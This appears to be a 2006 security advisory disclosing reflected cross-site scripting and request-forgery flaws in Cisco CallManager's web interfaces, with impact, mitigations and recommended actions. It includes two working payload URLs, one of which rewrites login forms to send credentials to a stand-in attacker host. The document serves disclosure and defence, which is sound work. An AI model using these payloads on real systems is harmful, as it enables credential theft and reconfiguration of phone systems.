<<< Date Index >>>     <<< Thread Index >>>

Input Validation/Output Encoding Vulnerabilities in Cisco CallManager Allow Script Injection Attacks



I. SYNOPSIS

Release Date: 07/19/2006

Affected Application: Cisco CallManager 3.1 and up (versions prior to 3.1 were 
not tested but may
still be vulnerable)

Severity If Exploited: High

Impact: Arbitrary configuration of phone system/Theft of individual phone 
users' credentials

Mitigating Factors: Requires user action (following a link, visiting a resource 
with an embedded
redirect)

Initial Notification of Vendor: 10/24/2005

Discovery: Jake Reynolds, Senior Security Engineer -- FishNet Security

Contributions: Arian Evans, Senior Security Engineer - FishNet Security

Permanent Advisory Location:
http://www.fishnetsecurity.com/csirt/disclosure/cisco/Cisco+CallManager+XSS+Advisory.htm

II. EXECUTIVE SUMMARY

Vulnerability Overview:
 
The web interface used to administer Cisco CallManager software suffers from a 
lack of input
validation and output encoding. As a result, an attacker could craft a request 
that causes the
CallManager web interface to include malicious JavaScript in its response. If a 
victim can be made to
submit this specially crafted request, the response will be processed, and the 
malicious JavaScript
payload executed in the browser of the victim.

Attack Overview: 

If such a request is provided to CallManager administrators (either in an email 
or embedded in an html
resource using something like an automatic redirect) an attacker can perform a 
variety of nefarious
actions. Depending on the scripted payload, these attacks are commonly referred 
to as cross-site
scripting (XSS), session riding, and cross-site request forgery (CSRF). 
Potential threats that can be
realized through these vulnerabilities could include but are not limited to:

* Deletion of phone system components such as devices, partitions, calling 
search spaces, etc

* Reconfiguration of phone system components such as route plans, global 
directory, services, etc

* Theft of global directory user credentials

* Theft of "Cisco CallManager User Options" credentials or session token 
leading to user identity
spoofing within that specific interface of CallManager (Utilization of the 
stolen credentials or
session tokens would require direct connectivity to CallManager.)

III. TECHNICAL DETAIL

Vulnerability Details: 
The web interfaces used to administer Cisco CallManager exhibit input 
validation/output encoding
vulnerabilities throughout the applications. Specifically, the "Cisco 
CallManager Administration" and
"Cisco CallManager User Options" interfaces contain multiple instances of these 
vulnerabilities. This
advisory will focus on a subset of those vulnerabilities that allow attack 
execution from an
unauthenticated perspective. Not all vulnerability instances will be included.

The "Cisco CallManager Administration" (http://CallManagerAddress/ccmadmin/) 
web interface contains
parameters that have their user-supplied input returned in subsequent responses 
without being properly
encoded. Although this interface requires basic authentication before access to 
the vulnerable
parameters is granted, the original request will be sent to the server after 
successful
authentication. Thus, reflected script injection is possible if the attacker 
can lure a CallManager
administrator into entering their credentials upon being presented with the 
basic authentication box.
The URL below takes advantage of the vulnerable "pattern" parameter that 
returns user-supplied input
at several points within the subsequent responses.

http://CallManagerAddress/ccmadmin/phonelist.asp?findBy=description&match=begins&pattern=<script>alert
(document.cookie)</script>&submit1=Find&rows=20&wildcards=on&utilityList=

A simple proof of concept script has been written that utilizes XMLHTTP to 
search for devices and
delete them from the CallManager configuration. Prior knowledge of the 
CallManager configuration would
allow for more savvy attacks that could intelligently reconfigure the phone 
system.

The "Cisco CallManager User Options" (http://CallManagerAddress/ccmuser/) web 
interface also contains
vulnerable parameters. Most notably, arbitrary parameters included in requests 
to /ccmuser/logon.asp
are returned by the application without proper input validation or output 
encoding. The URL below
takes advantage of this behavior by appending the parameter "MadeUpParameter", 
escaping the form
included in the response, and rewriting all form actions to point to an 
attacker site that collects
all input. The application seems to remove the '+' character used to 
post-increment the loop counter
so URL hex encoding (%2B) was used to obfuscate it.

http://CallManagerAddress/ccmuser/logon.asp?userID=&password=&MadeUpParameter=";><script>for
 (i=0;
i<document.forms.length; i%2B%2B)
document.forms[i].action="http://www.attackersite.com/stealstuff.cgi";;</script><!--

By luring phone system users into making the above request and logging in, an 
attacker can steal their
credentials.

IV. MITIGATING FACTORS

Prerequisites: In all cases, there is some prerequisite information that an 
attacker must have. The
address of the CallManager is obviously a necessity in order to correctly craft 
malicious requests.
This could be easily gained internally by viewing the network configuration on 
the IP phones that
register with the targeted CallManager unless the display of this information 
has been disabled.
Social engineering could allow an attacker to gain this information from inside 
or outside of the
organization. It is important to note that while the address of the target 
CallManager is required,
the attacker does not require connectivity. Reflected script injection attacks 
only require that the
victim has connectivity to the vulnerable application, since the victim is the 
entity that makes the
malicious request, causing unwanted execution of the script included in the 
vulnerable server's
response.

Any intelligent reconfiguration of Cisco CallManager using CSRF attacks as 
mentioned above would
require knowledge of the current CallManager configuration. However, a 
significant amount of damage
could be inflicted by an XMLHTTP-based script that searches for and deletes all 
devices without prior
knowledge of the current CallManager configuration.

Exploitation of the "Call Manager User Options" logon page does not require 
connectivity to the target
CallManager. However, the use of stolen credentials gained through such an 
attack would require
connectivity to a system that utilizes them. This system, in many cases might 
only be the CallManager
itself. However, in the case of CallManager integration with another directory 
such as iPlanet or
Active directory, credential theft could lead to an attacker gaining access to 
many other services.

V. RECOMMENDED ACTIONS

Technical Workarounds:

* Upgrade Software When Fixes Become Available - Cisco has stated that future 
releases of all trains
of Cisco CallManager will contain fixes for these vulnerabilities.

* Restrict Network Connectivity to CallManager Interfaces - During discovery, 
it was noted that
several organizations had their CallManager administration interfaces exposed 
to the Internet. Simple
Google queries are all an attacker needs in this case to obtain the target 
CallManager address. There
are few compelling reasons one could present that would justify public access 
to CallManager web
interfaces.

* Treat Sensitive/Critical Interfaces as Sensitive & Critical - Information 
about the specifics of the
CallManager configuration should be kept confidential. Access to the various 
CallManager interfaces
should be as restrictive as possible. Although these attacks do not require an 
attacker to have
connectivity to the vulnerable application, restriction of this access still 
serves to limit attack
vectors by limiting the amount of potential victims.

Nontechnical Workarounds:

* Education & Awareness of User Luring Attack Vector - Educate all users about 
the risks of social
engineering attacks. Users should be aware of the triviality of spoofing 
emails, caller ID, and other
types of information.

VI. CONTACT

You can reach the author of this advisory by emailing 
jake[dot]reynolds[at]fishnetsecurity.com